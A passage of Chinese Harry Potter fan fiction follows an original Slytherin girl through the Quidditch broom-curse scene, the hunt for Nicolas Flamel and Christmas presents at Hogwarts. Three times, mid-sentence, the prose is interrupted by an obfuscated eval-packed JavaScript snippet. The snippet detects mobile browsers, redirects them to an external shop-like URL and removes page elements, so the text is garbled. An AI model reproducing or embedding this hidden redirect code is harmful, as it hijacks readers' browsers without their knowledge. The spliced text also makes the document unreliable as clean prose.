可随着手指不受控制的一抖,视野中央的人忽然换成了奇洛教授。 他看起来几乎和斯内普教授一个样子。 他也在念咒! 娜斯缇亚感到自己的心脏仿佛回弹了一瞬间。 可是,随之而来的是更多的茫然。 “是斯内普教授,还有奇洛教授——”她颤抖着把望远镜递给赫敏。 赫敏也挨个将斯内普教授和奇洛教授观察了一遍,脸上写满了不可置信。 在今天这件事发生之前,她们绝对不会相信,一位教师(也许两位)会想谋害一名学生。 这不太符合她们受过的教育。 罗恩终于等不及了,他拿走赫敏手里的望远镜,迫不及待地看向对面的看台。 “他们在干什么?” “给飞天扫帚念恶咒!”娜斯缇亚和赫敏异口同声地说。 “那我们该怎么办?”罗恩惨白着脸,说,“哈利要死了!” “你们在这等着!” 赫敏迅速站起来,猫着腰从座位上离开。 娜斯缇亚和罗恩挤在海格面前,共用着望远镜,紧张地看着对面。 他们的眼睛和那两位教授一样,一眨也不眨。 就在眼睛几乎疼痛起来的时候,娜斯缇亚看到奇洛教授一头栽下了座位。 又过了一会,斯内普教授猛地站了起来,拼命拍打着自己的长袍——赫敏居然把他的斗篷点着了。 罗恩和娜斯缇亚扔下望远镜,看着哈利爬回自己的扫帚,长舒了一口气。 但娜斯缇亚仍然感到不安。 就目前的状况而言,比起奇洛教授,斯内普教授的确更像是施恶咒的那个凶手;但她却抑制不住地对奇洛教授也产生了怀疑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437152|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 每一个围绕着斯内普教授的疑点都有他的身影出没。 万圣夜那晚有他,今天又是。 * 哈利最终抓住了金色飞贼——哪怕被中途被那个恶咒至少耽误了10分钟。 全场的观众都在为这场精彩的比赛喝彩,可他们已经无心顾及这些了。 比赛结束后,他们一起去了海格的小屋,罗恩向哈利和海格解释了刚刚发生的事。 “奇洛教授?为什么会是奇洛教授?我和他无冤无仇!”哈利嚷道。 他认定了斯内普教授。 不过,娜斯缇亚没想到,除了她,居然还有一个人也在维护斯内普教授。 “胡说!”又是这句熟悉的话。 “斯内普为什么要做这样的事?”说着,海格将目光转向了娜斯缇亚,“你呢?娜缇?难道你也这么想?你得劝劝你的朋友们,是不是?” 娜斯缇亚当然不这么想。 至少不全是。 但对上哈利燃烧着怒火的眼睛,她没把真实想法说出来。 “事实上,当时奇洛教授也在念咒。可是,客观上来说,斯内普教授也许更可疑一点……” 相信斯内普教授是她下意识的反应,因为他是斯莱特林的院长,还是帮她补习魔药课的导师。 可他从没对她的朋友们友好过,她不能要求大家都和自己一个想法。 更何况,刚刚差点摔断脖子的人毕竟不是她,是哈利。 如果有一个人平时对她很坏,现在还有很大的可能要害死自己,她一定也会毫不犹豫地恨上他。 哈利用一种“谢天谢地,你终于想通了”的眼神看着她。 娜斯缇亚继续说:“我曾在万圣夜看到他和奇洛教授从楼上下来。他们很有可能在巨怪闯入学校的时候去了四楼走廊,因为斯内普教授的腿是被三头犬咬伤的。昨天晚上,哈利亲眼看到了他的伤腿。” 哈利立刻接上了话。 “他想通过那条三个脑袋的大狗!很显然,奇洛教授阻止了他!” ‘说实在的,奇洛教授真的拦得住斯内普教授吗。’娜斯缇亚忍不住想。 海格看起来很诧异。 “你们怎么知道路威?” “……啊?” * 那只三头犬竟然是海格借给邓布利多教授的。 可他死活不愿意告诉他们路威在看守什么。 “斯内普和奇洛都是霍格沃茨的教授,他们不会做那样的事。”他只是一遍遍强调。 “可他们之中一定有至少一个人想要害死哈利!”赫敏愤愤地说。 她似乎不想像哈利那样轻易地下定论,没指名道姓。 娜斯缇亚下意识接话道:“很显然,那个人认为哈利知道了一些秘密……” 梅林啊,这句话说出来连她都觉得斯内普教授更可疑了。 哈利也是这么想。 娜斯缇亚觉得他差点要为自己拍手叫绝了。 但赫敏不同意他的想法:“我想不通。如果是斯内普教授的话,他明明昨天就有机会下手。” “那是因为费尔奇也在!”哈利立刻反驳道,“而且当时马上要七点了,娜缇马上就会去找他,不是吗?” 赫敏叹了口气:“哈利,冷静想想,这还是说不通……如果他介意这个的话,今天来球场看比赛的人难道不是更多吗?而且麦格教授、弗立维教授他们都在。” 哈利哽住了,他焦躁地揉了把头发,不说话了。 娜斯缇亚想说点什么。 她觉得赫敏会这么说应该有一半是为了自己。 但罗恩坚定地举起手。 “我觉得我们应该相信哈利的直觉。” 赫敏用一种不赞成的目光看着他。 “好了,孩子们,”海格不得不站出来打圆场,“忘记那条大狗和它看守的东西!这是邓布利多和尼可·勒梅之间的——” 尼可·勒梅? 屋子里瞬间安静了下来。 很显然,这是一条新线索。 在意识到自己说漏嘴之后,他们被生气的海格赶了出来。 24. 第 24 章 接下来的日子,他们一直在图书馆找尼可·勒梅。 娜斯缇亚比任何人都想弄明白那个宝贝是什么——这样她就可以判断出自己的院长到底有几成可能去当那个小偷。 当然,这不算是件易事。 先不说他们压根不知道往哪个方向找这个人,更重要的是,能认真啃下那些历史书的只有赫敏一个。 真实情况更像是娜斯缇亚监督哈利和罗恩完成作业,好让赫敏腾出更多时间阅读。 娜斯缇亚给伊丽莎白写了一封信。 她想知道伊丽莎白的想法。也相信她不会把这件事告诉任何人。 但伊丽莎白最近似乎很忙,娜斯缇亚等了一周,也没等来她的回信。 在这期间,圣诞假期的留校意向表发了下来。 很显然,今年她们没法一起过圣诞节了。 娜斯缇亚决定留在学校里。 赫敏很失望。 “我还以为你会想和我一起回家呢,我们可以一起看看电影,什么的。”她说。 娜斯缇亚满含歉意地给了她一个拥抱。 “弗雷德和乔治邀请我留下来,他们需要我帮忙熬制药水。”娜斯缇亚说,“而且哈利和罗恩也需要有人看着……他们不会好好做假期作业的。” 罗恩坚决拒绝承认自己会这么做。 “好吧,”娜斯缇亚耸耸肩,“反正我是不会把作业给你们抄的。” 更何况,她还有一篇魔药课的论文要写呢。 “好吧。”赫敏只花了一分钟,就接受了她这个决定,“我有个好主意。” “什么?” “假期的时候,你可以上格兰芬多塔楼那去,住我的寝室。” 娜斯缇亚睁大眼睛看她,仿佛见了鬼,但罗恩和哈利兴奋地欢呼起来。 “怎么啦?”赫敏理直气壮地反问道,“谁也不会知道。我的室友们都要回家。” “我们可以玩上一整个晚上!弗雷德和乔治给你的飞行棋施了点咒语,现在它们可以自己移动了。”罗恩说。 在他们的鼓动下,娜斯缇亚也期待起这个特别的圣诞。 * 他们在礼堂门口看见了搬运着一棵巨型冷杉的海格。 就在罗恩询问他需不需要帮忙的时候,一个所有人都不想在这时候听到的声音从身后传来。 “能不能闪开,别挡着道?” 哈利脸上的笑容一下就消失了。 “马尔福,如果你的眼睛还好用的话,就会发现,我们得让这棵树先进礼堂。”他冷冷地说,“还是你要一展身手,用魔法把它变进去?” 德拉科没理他,反倒怒视着娜斯缇亚。 他最近一直是这个态度——自从在图书馆撞见娜斯缇亚和哈利他们坐在一起后。 “这么说,娜斯缇亚,你打定主意要和这些人为伍了?” “很显然,他们一直是我的朋友。”娜斯缇亚面色不变地回答。 德拉科的脸一下子变得铁青。 “朋友?哈!”他冷冷地从鼻腔中挤出一丝不屑的气音,“真不明白斯莱特林怎么会收你这样的学生。” “当然是因为娜缇具备成为伟大巫师的潜质。”赫敏看起来似乎比娜斯缇亚还要不高兴。 “怎么?想动手。是吗?”见德拉科脸色不好,罗恩和哈利立刻一左一右站在两个女孩的身后。 说实话,这让娜斯缇亚想起克拉布和高尔。 不巧的是,就在这时,斯内普教授出现在不远处的楼梯口。 他用一种阴云密布的可怕表情瞪着自己学院的两个学生。显然没想到他们居然会在走廊对峙,还一副马上要打起来的样子。 半晌,他嘴唇一掀,做了一个令所有人心情变差的决定。 “格兰芬多扣5分,因为他们不愿意劝阻两个吵架的同学。” 哈利和罗恩立刻发出两个表示抗议的音节。 娜斯缇亚恨不得找个地洞钻进去。 德拉科再也嘚瑟不出来了。他甚至都没留下几句老生常谈的嘲讽,就立刻撇下他们走了。 他带着克拉布和高尔粗鲁地穿过那棵冷杉,把针叶碰得到处都是。 娜斯缇亚难得发了脾气。 “总有一天我要把他的糖果罐偷出来,往里塞满弗雷德和乔治的试验品。” 罗恩恨不得她现在就实施这个计划。 “好了,孩子们,别不高兴,马上就要过节了。你们得看看礼堂,那真是妙不可言。”海格劝道。 娜斯缇亚从口袋掏出了魔杖:“Reparo。” “嘿!教授还没走远呢!”赫敏立刻挡在她前面。 “放松点,赫敏,斯内普还不至于丧心病狂到连自己学院的分都扣。”哈利皮笑肉不笑地说。 * 和朋友们在礼堂门口分开后,娜斯缇亚在长桌尾发现了一个人坐着的西奥多。 他的书包上压着一本小说。是娜斯缇亚最近借他的《东方快车谋杀案》。 “中午好,西奥多。”娜斯缇亚在他右边坐下,“小说你看完了吗?你觉得怎么样?” “我可以在今晚还你。”西奥多似乎会错了意。 娜斯缇亚赶紧解释:“哦,不用急着还我,我已经看过两遍了……我只是没想过你居然会对麻瓜小说感兴趣。” “你经常看,不是吗?” “所以你也想了解看看?”娜斯缇亚笑着说,“看来这是个不错的文化宣传方式。” 不知为什么,西奥多没有回答,他只是低下头,用勺子挖着一颗土豆泥团成的小球。 “希望赫敏回家以后会记得把我的耳罩带来……”娜斯缇亚松了松围巾,也给自己端来一碗土豆泥。 “耳罩?”西奥多下意识看了一眼远处的德拉科。 刚入冬的时候,马尔福夫人就从家里给他寄来了一对耳罩。 “最近风太大了,再这样下去我的耳朵一定会被冻出毛病。” 娜斯缇亚忽然看了他一眼:“西奥多,你要不要?我和赫敏去年买耳罩的时候,商店在做‘买二送一’的活动,我可以分给你一对——放心吧,送的那对和我们的款式不一样。不过……它是粉色的。” 西奥多被呛得咳嗽起来。 “我想还是算了……”他咳了好久,才艰难地说。 “别这样嘛,”娜斯缇亚真诚地劝道,“男生也可以戴粉色的,你皮肤很白……” 说实话,她现在的样子像极了一名导购。 * 假期的前一天下午,娜斯缇亚照常和塞德里克一起去温室,帮斯普劳特教授给雨伞花脆弱的叶片擦上保护油。 他们在大厅碰到了斯内普教授。 “圣诞快乐,教授。”不知脑子里的哪根弦搭错了,娜斯缇亚忽然不受控制地说。 斯内普教授用一种看巨怪的眼神盯着她看了好一会。 “你也是,格雷小姐。但愿你不会在假期里得意忘形,把所有东西都忘光。”仿佛隔了一个世纪,他才做出了回应。 一直等他的身影消失在他们的视线中,全身僵硬的塞德里克才终于放松下来。 “我还没见过谁和斯内普教授说过圣诞快乐呢。”他由衷地感慨道。 * 但谁也不会吝啬对平易近人的斯普劳特教授说圣诞快乐。 “谢谢,孩子们,你们也是。下午只有你们两个来帮忙,不过任务不重。”斯普劳特教授发给他们一人一个小圆罐子,就出门去了。 她还有好多工作要做:等到春天来的时候,她要空出一个温室专门种曼德拉草。 娜斯缇亚和塞德里克工作的时候总是很安静。 但也许是受到假期的影响,他们今天一直有一搭没一搭地聊着天。 “你妈妈还在埃及工作吗?”塞德里克问。 “是啊,伊莱莎最近很忙,我上周给她写了一封信,她甚至还没回我。” “那你假期是留校还是回家?” “我已经决定留校了,和朋友一起。”娜斯缇亚动作轻柔地擦拭着雨伞花柔软的叶片。 “太可惜了,我本来想邀请你来我家玩一天。”塞德里克说,“我妈妈还记得你,她以前偶尔会去韦斯莱家……” 娜斯缇亚感到浑身僵硬。 她真害怕他当面跟自己提起可怕的“门牙”事件。 当然,塞德里克连半个“牙”字也没提。 “如果你来的话,我想我的父母都会欢迎的。我妈妈做的草莓乳酪挞特别好吃。” 娜斯缇亚很想吃。 但她没有机会。 “如果莫丽阿姨他们没有去罗马尼亚的话,我想本来是有机会的……”娜斯缇亚忧伤地说。 “或许我可以在暑假之前再邀请你一次。”塞德里克笑道。 “那就再好不过了!”娜斯缇亚愉快地和他击了个掌。 “那么,提前祝你圣诞快乐。” “圣诞快乐。”娜斯缇亚说,“请期待圣诞礼物。” * 令娜斯缇亚意外的是,杰玛居然也选择了留校。 而且她在假期的第一天也会赖床。 但是,当娜斯缇亚揭开床帘,看见一个人在梳妆台前扎头发的时候,还是吓得差点从床上滚了下来。 “你醒了?”杰玛听到动静后回头看了她一眼,“你是不是还不打算起来?” 娜斯缇亚一骨碌从床上爬起来:“你没回家吗?难怪昨天晚上没看见你收拾行李。” 杰玛点点头。 “你准备去图书馆吗?”娜斯缇亚问,“我也一起。” 她可没忘记赫敏的嘱托——尼可·勒梅。 虽然今天也是一无所获的一天。 但在杰玛的监督下,她至少写完了斯内普教授布置的假期作业。 * 平安夜的早晨,娜斯缇亚终于收到了伊丽莎白的回信。 令她高兴的是,伊丽莎白在信里支持了她的想法。 “我很高兴,你没有因为朋友而盲目选择自己的立场,也很高兴你愿意信任我。关于尼可·勒梅的事,我想你们可以在古代炼金术相关的书籍里看到。不过亲爱的,别做任何冒险的事,如果发现了什么新线索,请第一时间告诉你们的校长,好吗?既然他决定把那个东西转移到霍格沃茨,就说明他一定有应对办法。保护好自己,赫敏和你其他的小狮子朋友也是。” 信的最后,伊丽莎白写道:“另外,别让自己被事物的表象迷惑,有时懦弱的人更容易被欲望操控。” 娜斯缇亚立刻从长桌上跳起来。 她必须赶紧把这封信寄给赫敏。 但在这之前,她还有一件更重要的事要做。 娜斯缇亚扭头找哈利和罗恩的身影。 他俩正坐在格兰芬多长桌上一边吃饭,一边玩着巫师棋呢! 她敢打赌他们一定早把尼可·勒梅抛到脑后了。 娜斯缇亚走到他们身后的时候,哈利正冥思苦想应对罗恩的对策,抬头时还皱着眉头。 他用的这副棋子不知道是谁的,居然在棋盘上吵架。 “波特先生,韦斯莱先生,看来你们的假期过得不错啊。”娜斯缇亚收回视线,定了定神。 “哦,娜缇,别阴阳怪气的,我们有在完成作业。”罗恩头也不抬地说。 “打扰你们享受假期真抱歉,”娜斯缇亚叉着腰,说,“但你们得跟我去一趟图书馆。” 弗雷德和乔治在不远处怪叫起来。 “珀西呢?你们看到珀西了吗?” “他一定和娜缇灵魂互换了!” 正端坐在拉文克劳长桌的珀西飞过来,满脸通红地捂住他俩的嘴巴。 罗恩在旁边拍手叫好。 “娜缇,有什么新的线索吗?”哈利在一片混乱中艰难地问。 “我两周前给伊莱莎寄了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437153|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信,询问她关于尼可·勒梅的事。”娜斯缇亚说,“今天终于收到了回信。” “你为什么不早说?”罗恩抱怨道。 娜斯缇亚感到莫名其妙:“我总得收到回信才能把结果告诉你吧。” 哈利哈哈大笑:“假期的前一天,罗恩让赫敏去问问她爸妈。” “罗纳德!赫敏的父母是牙医,我早就和你说过!” 很显然,韦斯莱先生根本没记住这件事。 * 饭后,他们一起到图书馆翻阅炼金术相关的书籍。 这一次,娜斯缇亚很顺利地找到了尼可·勒梅。 “我们看的书还是太少了……梅林啊,他多么出名啊。” 罗恩和哈利凑过脑袋。 “看,魔法石!” 能把任何金属变成纯金,制出长生不老药的魔法石。 目前唯一仅存的一块,属于尼可·勒梅。 哈利却一拍桌子,终于想起什么。 “我想起来我在哪里看过他的名字了!开学那天,我在火车上抽到一张巧克力蛙的画片,是邓布利多的……” 他还没说完,他们就被愤怒的平斯夫人赶出了图书馆。 哈利一点也不在意这个,他拉着两个小伙伴,飞奔到格兰芬多休息室的入口。 他当着娜斯缇亚的面念出休息室的口令,和罗恩一起把她推进去。 进门的时候,娜斯缇亚似乎听见胖夫人发出一声疑惑的问句。 “这个女孩子是谁呀?” 哈利从寝室翻出一张巫师画片,拍在她和罗恩面前。 “邓布利多,与合作伙伴尼可·勒梅在炼金术方面卓有成效……”读着读着,娜斯缇亚瞪大了眼睛,“所以,尼可·勒梅请邓布利多把魔法石转移到霍格沃茨来,是因为有人在打魔法石的主意!” “哈利,借用一下海德薇,我现在就得给赫敏写一封信。” “一块石头能变出金子,还能让你永远不死!怪不得斯内普也在打它的主意!谁都会想要得到它的!”哈利一边翻找着纸和笔,一边说道。 娜斯缇亚真希望有谁能给他施个遗忘咒,让他忘了斯内普这个名字。 说实在的,娜斯缇亚想不出斯内普教授偷这玩意干什么? 他看起来明明更像是会亲自炼一块的人。 但无论如何,她觉得自己都不需要再操心这件事了。 邓布利多难道会看管不住一颗魔法石吗? 如果他都做不到,那就让世界毁灭吧。 她这样想,也这样说了。 “你怎么知道?”但很显然,哈利并不满足于此。 “我的看法是,对于这件事,你应该相信娜缇。”罗恩说。 娜斯缇亚说道:“伊莱莎和比尔都是古灵阁的解咒员。他们的工作就是到全世界去解开那些古老的咒语和谜题,把里面的宝藏带回来。当然,存在那里的东西同样也受到严密的保护。” “还记得古灵阁的失窃事件吗?”她接着道,“既然邓布利多教授认为霍格沃茨比古灵阁还要安全,就说明他肯定制定了一个万无一失的处理方案。” 站在这里的人如果是赫敏就好了。娜斯缇亚忍不住想。 这样她就不用卖力地解释这么多。 写完给赫敏的信,娜斯缇亚观察起格兰芬多的休息室。 映入眼帘的全是红色和金色。 整个空间就像一个大大的壁炉,很温暖。 她在炉火边的一张扶手椅上躺下。 解决了一桩大事,娜斯缇亚觉得心里十分松快。 罗恩和哈利显然也这么想。 他们又开始下起巫师棋。 娜斯缇亚在棋子叽叽喳喳的争吵声中沉沉地睡了过去。 再次睁开眼的时候,三颗红色脑袋和一颗黑色脑袋正蹲在不远处的炉火前。 罗恩一下就注意到她。 “娜缇,你醒了?我们在烤棉花糖吃,你要不要?” 娜斯缇亚点点头,接过一支棉花糖,咬破焦脆的外壳。 “你最近好像很忙?”弗雷德问。 “哦,我现在不忙了。已经忙完了。”娜斯缇亚说。 “那就再好不过了,”乔治接话道,“下午来帮我们熬药水吧。” “……” * 然而,弗雷德和乔治嘴上说着要熬制魔药,下午却拉着他们在庭院莫名其妙地展开了一场打雪仗大赛。 “你们两个一组,我们三个一组。”娜斯缇亚飞快地划分出两个阵营。 弗雷德和乔治似笑非笑地看着她,似乎在说“你会后悔的”。 比赛一直进行得很顺利——但这种顺利的情况只针对弗雷德和乔治。 连娜斯缇亚都没搞懂他们是怎么一直得分的,直到…… “他们作弊!居然用咒语!我就说刚刚我都蹲到哈利身后了,那颗雪球怎么还能砸到我头上!”再又一次遭到惨无人道的攻击之后,罗恩气急败坏地说出自己的最新发现。 “我们也用!”哈利立刻说。 娜斯缇亚看到他趁这个间隙取下眼镜,用衣角擦拭着镜片。 “哈利,我觉得你应该先给自己的眼镜用一个咒语。” “哦,我忘了!” 可怜的哈利甚至没来得及念出任何一个咒语,又一颗雪球正中他的脑门。 “Scourgify——等着我给你报仇吧!” 娜斯缇亚用咒语团成了一个巨大的雪球,趁着弗雷德偷偷向他们伸出魔杖的时候,猛地掏出魔杖。 “Sonorus!” “Chase it!” 娜斯缇亚更快一步,整个庭院都回响着弗雷德这句来不及收回的咒语。 她如法炮制,将面前的雪球砸到他脸上。 在乔治比任何人都大声的笑声中,娜斯缇亚和罗恩拽上哈利,脚底抹油地逃离案发现场。 25. 第 25 章 圣诞这天,娜斯缇亚一觉睡到了上午11点。 等她醒来跑到圣诞树旁边的时候,礼物和贺卡已经围着它堆满了一整圈。 落在最上面的是一个亮绿色的礼盒,非常扎眼。扯开金光闪闪的蝴蝶结,里面是一大盒糖果和曲奇,还有一盒巧克力派。 这些甜点的造型和味道并不陌生,娜斯缇亚立刻反应过来,这是德拉科送的。 ‘他一定送得很仓促,连贺卡都没来得及写。’娜斯缇亚撇撇嘴,想。 事实上,她本来不打算给他寄圣诞礼物的,毕竟这段时间他压根都不拿正脸看自己一眼。 但她甚至给布雷斯都寄了一张贺卡。 她自认为她和德拉科的关系也还没差到这个地步。 就在她以为德拉科的礼物就是这些,准备把包装纸扔掉的时候,盒子底下忽然飘出一张纸条(那甚至不是一张贺卡)。 “亲爱的(划掉)致娜斯缇亚·格雷: 如果这种程度的麻瓜甜点在你眼里就称得上好吃的话,那你真该去检查检查自己的味觉。 PS.别以为我不知道你上次把巧克力派分给了别人,那是我妈妈做的!其他人想吃都吃不到!你明白吗!!! 德拉科·马尔福” “……” 她开始后悔在贺卡上写“圣诞快乐”了。 下次上课应该问问弗立维教授,有没有咒语能把寄出的信件烧毁。 扔开德拉科的纸条后,娜斯缇亚翻找起家人和朋友们寄来的礼物。 来自陋居的包裹占据了很大一块地方。大包裹里塞着莫丽阿姨织的毛衣,金妮织的同色系围巾,和一盒香喷喷的黄油曲奇。换上衣服之后,娜斯缇亚觉得自己也像是一块新鲜出炉的曲奇,香喷喷地散发着热气。 伊丽莎白的礼物则照例是一些稀奇古怪的小玩意,不确定是哪个遗迹挖出来的,其中有一把镶满宝石的铜镜。 虽然根本照不清人脸,但那把镜子的确非常漂亮。 弗雷德和乔治寄来了一盒矮矮的圆柱体。上面挂着一个标签——“圣诞喷泉烟花,燃烧时间7分钟”。 娜斯缇亚将标签转了过来,看见几行龙飞凤舞的花体字: “尽情想象自己想要的圣诞树的样子。最好把照片拍下来寄给我们,我们想看看效果。圣诞快乐,猫女巫!(PS.最好在室内燃放)” 她决定把它留着晚上用。 赫敏的礼物是一对款式不一样的耳钉:一只是棕色兔子,另一只是灰蓝色眼睛的灰色猫咪。 贺卡上是赫敏端正漂亮的字体: “亲爱的娜缇: 圣诞快乐,娜缇。我希望你已经注意到,耳钉上猫咪的表情会随着你的心情变化。这个咒语有些难,我跟着弗立维教授学了两周呢!当然,如果你想学,我很乐意教你。关于猫咪毛发的颜色,我想原因不会太难猜,而且我认为这样它不至于会完全和你的头发融为一体。 我给自己留了一个手链,新的一年,希望它们能代替我们时刻陪伴在彼此身边。 爱你的赫敏” 娜斯缇亚的耳洞是九岁的时候跟着比尔打的。 当时她很羡慕那只酷酷的尖牙耳环,说什么也要一个。 这个举动简直害惨了比尔,不管她们之后怎么解释,莫丽阿姨都坚信是他诱拐娜斯缇亚打的耳洞。 娜斯缇亚观察着手里的猫咪和兔子。 既然猫咪是自己,那么兔子应该就代表了赫敏:她似乎还没起床,紧紧闭着眼睛。 娜斯缇亚不自觉地笑了起来。 猫咪也眯起眼睛,胡须上翘。 她立刻对着镜子换上耳钉,然后拆开下一份礼物:那是一个巴掌大的、星星形状的水晶瓶,一眨一眨地闪烁着淡黄色的光。 瓶身贴着一个圆形的标签,上面画着两个黑色头发的脑袋,写着“艾丽娅&杰玛”。看起来似乎是艾丽娅的大作。 除了这个水晶瓶,盒子里还躺着一封长信。 “亲爱的娜缇: 圣诞快乐,这是我们新研发的萤火虫书签。当然,我们不虐待动物(划掉)昆虫,它们的原料不是真正的萤火虫,请不要有心理负担,安心使用。 现在,让我来隆重介绍它的使用方法: 你可以把这些‘萤火虫’装进口袋,或者贴在衣服上。当你随身带着它们的时候,只要念一句“Claudo”,它们就会自己飞进翻开的书页里,帮你合上书(笔记本同理)。使用范围仅限于:以你为圆心,半径1米之内。 请注意,如果你在范围内同时翻开了多本书,它们会帮你全都合上。打开的时候也一样。如果你不想这么做,这时候就需要你动动手,把想要的那本拿起来,再念咒语。反咒是“Aperio”,它们会帮你翻到上次的页码。 PS.插入书签之后,那本书就不能手动打开了。建议你不要把咒语告诉太多人。 非常爱你的,艾丽娅&杰玛” 这封信同样出自艾丽娅之手。 除了补充在那个被划掉的单词上方的“昆虫”。 娜斯缇亚早就听说艾丽娅打算毕业后留在霍格莫德村开一家礼品店。 杰玛是投资人:她家在霍格莫德主街道旁的巷子口有一间店铺。 万圣夜那晚过后,她们就问过娜斯缇亚是否想要加入,也可以拉上韦斯莱双胞胎(前提是他们在这里售出的物品需要有一些“情调”)。 娜斯缇亚毫不犹豫地同意了:在这种约会圣地卖礼物当然会赚翻的! 这瓶书签实在太漂亮了,娜斯缇亚迫不及待地练习了几次,直到书本很顺利地关上又打开。 * 今年娜斯缇亚收到最疯狂的礼物,无疑出自罗纳德·韦斯莱之手。 那是一本据说是从二手商店淘来的书,内容与神奇动物有关。 娜斯缇亚敢说他一定是被什么人坑了,才会买下一本这么有“个性”的书。 这本《妖怪们的妖怪书》被罗恩用一根麻绳紧紧地捆着。 他在信上解释,本来这本书一切都好,但他在包装的时候发现书皮上都是白色粉末,所以就用手帕擦了擦。 结果这一擦不得了,直接把书给擦“醒”了——差点咬掉他一条手臂。 娜斯缇亚不得不跑进房间向杰玛求助。 这本书最后折腾困扰了至少20个高年级的学生,直到塞德里克帮忙把书送到了教大家神奇动物保护课的西尔瓦努斯·凯特尔伯恩教授那里。 凯特尔伯恩教授对他们拥有这样一本书感到十分意外。 但他还是帮忙解决了这个问题:“只要把手指顺着书脊往下一捋——” 塞德里克勇敢地挺身而出,做了这个试验者。 随着他的动作,那本书竟然一下子安静下来,朝他们摊开了。 “……” 娜斯缇亚迅速往里插进了一个书签。 所幸,书签的咒语对这本书有效。 当然,这是后话了。 * 娜斯缇亚慢慢收拾着那些成山的礼物,直到她在所有盒子底下找到一张微微泛黄的合照。 很意外,这是海格寄来的。 不那么意外的是,这张照片的背景是在他的小屋前拍的。 伊丽莎白和亚伦·奈特并肩站在房子前,和一只鹰头马身有翼兽合照。 他们的笑容这样年轻,又这样灿烂。 海格用潦草凌乱的字迹在一张字条上写道: “亲爱的娜缇: 我在整理旧物的时候发现了这张照片。请原谅我没有早点发现这件事,你姓格雷!而且长得简直和伊莱莎一模一样!(除了眼睛,它们太像你爸爸)这是你父母在五年级的圣诞假期来我这里做客的时候拍的,他们毕业的时候送给我作留念。我想你也许能更妥善地保管好这张照片。 圣诞快乐。 海格” 娜斯缇亚看着照片,在壁炉前呆坐了很久。 她们家并没有很多亚伦的照片,伊丽莎白说他们当年甚至没来得及拍一张婚纱照。 所以她见到的一直是学生时代的亚伦,这一张也不例外。 他看起来总是意气风发的。 娜斯缇亚把照片小心地保存进笔记本的夹层。 * 娜斯缇亚翻来覆去检查了那堆礼物整整三遍,才确定,哈利·波特,没有给她寄来任何礼物。 这算个什么情况? 哈利也许不是故意的。毕竟他之前从没交过朋友,或许他根本没意识到,朋友们在圣诞节是需要互换礼物的。娜斯缇亚安慰着自己。 她收拾好圣诞礼物,像往常那样洗漱,前往礼堂。 “娜缇!等等!”刚踏进大厅,她听到一个声音从上方传来。 是哈利。 他穿着一件鲜绿色的、明显是莫丽出品的毛衣,从二楼的楼梯一直冲到娜斯缇亚面前。 “我……抱歉,我没有给你们准备礼物。事实上,我还以为我不会收到任何礼物呢!” 他的头发乱七八糟地翘着,看起来像一只倔强的刺猬。 “这没什么。只是一份礼物而已。”娜斯缇亚下意识说。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437154|141476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “当然不!我第一次收到朋友们的礼物!”哈利说,“你,海格,罗恩,赫敏,还有韦斯莱夫人,我总得给你们回礼。” 听完哈利的一通解释,娜斯缇亚才知道,他没给任何人准备圣诞礼物。 “好吧,我会期待的。”她终于笑了起来。 哈利偷偷观察着娜斯缇亚的表情,直到得到这个回复,他才放下心来。 接着,他神神秘秘地邀请她今晚去格兰芬多寝室。 “有个神秘人给我送了一份礼物。” 娜斯缇亚瞬间来了兴趣。 剩下的一整天,她都在猜测那个神秘礼物究竟是什么。 * 令人惊喜的是,霍格沃茨的圣诞宴会比她想象得要有趣。 当然,比起那些成堆的美食,大家都对脚边的巫师爆竹更感兴趣。 所有学生都穿梭在餐桌间,拆开一个个爆竹,巨大的爆炸声和五颜六色的烟雾经久不息、经久不散。 也许杰玛就是深知会有这么个情况,才让她自己先来礼堂。 在弗雷德和乔治的邀请下,娜斯缇亚和他们一起抽了两个巫师爆竹。 其中一个是一顶浅黄色的毛毡贝雷帽。 “来吧,猫女巫,戴上这顶帽子,你就成为一颗真正的圣诞树了。”弗雷德说,“晚上要不要来格兰芬多塔楼玩?只要把珀西打晕,我们就可以一起在公共休息室玩一整晚。” 乔治立刻接上:“或者直接在他的火焰圣诞布丁里加点安眠剂。” 他们一面说着,一面手忙脚乱地替娜斯缇亚扣上那顶柔软的帽子。 当然,不太顺利,他们一直在调整帽子的角度,把她的头发丝揉得乱飞。 “梅林在上,你们最好还是给我找一面镜子来吧。”她抱怨连天地拍开他俩的手。 珀西从拉文克劳的级长——佩内洛·克里瓦特那借来了一把小镜子,在她的帮助下,娜斯缇亚终于把帽子稳稳当当地固定在了脑袋上。 * 宴会后,弗雷德和乔治不顾珀西的阻拦,硬拉着娜斯缇亚回了格兰芬多塔楼。 